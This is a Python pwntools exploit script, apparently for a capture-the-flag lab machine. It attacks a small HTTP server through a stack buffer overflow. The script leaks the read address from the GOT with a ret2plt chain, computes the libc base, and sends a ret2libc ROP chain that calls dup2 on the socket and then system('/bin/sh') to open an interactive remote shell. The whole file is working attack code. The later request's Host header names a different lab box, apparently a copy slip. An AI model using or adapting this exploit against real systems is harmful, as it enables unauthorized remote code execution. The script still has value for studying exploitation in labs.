"""
Title: tiny-web-server-exploit.py
Date: 20181123
Author: epi <epibar052@gmail.com>
  https://epi052.gitlab.io/notes-to-self/
Tested on: 
    Linux kali 4.17.0-kali3-amd64 
    pwntools 3.12.1
"""
import urllib

from pwn import * 

#context.log_level = 'debug'
context.arch = 'amd64'
context.endian = 'little'
context.bits = 64

host = '10.10.10.89'
port = 1111

log.info("Ret2PLT")

pop_rsi = p64(0x4011db)         # peda ropsearch "pop rsi"
read_got = p64(0x603088)        # objdump -D tiny | grep read 
r15_junk = p64(0xdeadbeef)      # junk
pop_rdi = p64(0x4011dd)         # peda ropsearch "pop rdi"
file_descriptor = p64(0x04)     # file descriptor 
write_plt = p64(0x400c50)       # objdump -D tiny | grep write

client = remote(host, port)

payload = 'A' * 568

payload += pop_rsi
payload += read_got
payload += r15_junk
payload += pop_rdi
payload += file_descriptor
payload += write_plt

url = """GET /{} HTTP/1.1\r\nHost: smasher.htb\r\n\r\n""".format(urllib.quote(payload))

client.send(url)
client.recvuntil("File not found")
response = client.recv()

leak = response[:8]
read_address = u64(leak)

log.success("read address is: {}".format(hex(read_address)))

client.close()  # tear down leak connection

log.info("Ret2libc")

libc = ELF('./targets-libc')
tiny = ELF('./tiny')

libc_read = libc.sym.read                   # 0x0f7250

# gets offset that will be constant for all other libc functions
offset = read_address - libc_read 
log.info("base libc address is: {}".format(hex(offset)))

libc.address = offset 

libc_read = libc.sym.read                   # 0x0f7250
libc_system = libc.sym.system               # 0x045390
libc_dup2 = libc.sym.dup2                   # 0x0f7970
libc_binsh = next(libc.search("/bin/sh"))   # 0x18cd57

rop = ROP(tiny)

rop.call(libc_dup2, [0x4, 0x0])  # STDIN
rop.call(libc_dup2, [0x4, 0x1])  # STDOUT
rop.call(libc_dup2, [0x4, 0x2])  # STDERR


rop.call(libc_system, [libc_binsh])

print rop.dump()

payload = fit({568: rop.chain()})

url = """GET /{} HTTP/1.1\r\nHost: secnotes.htb\r\n\r\n""".format(urllib.quote(payload))

client = remote(host, port)
client.send(url)
client.recvuntil("File not found")
client.interactive()
client.close()
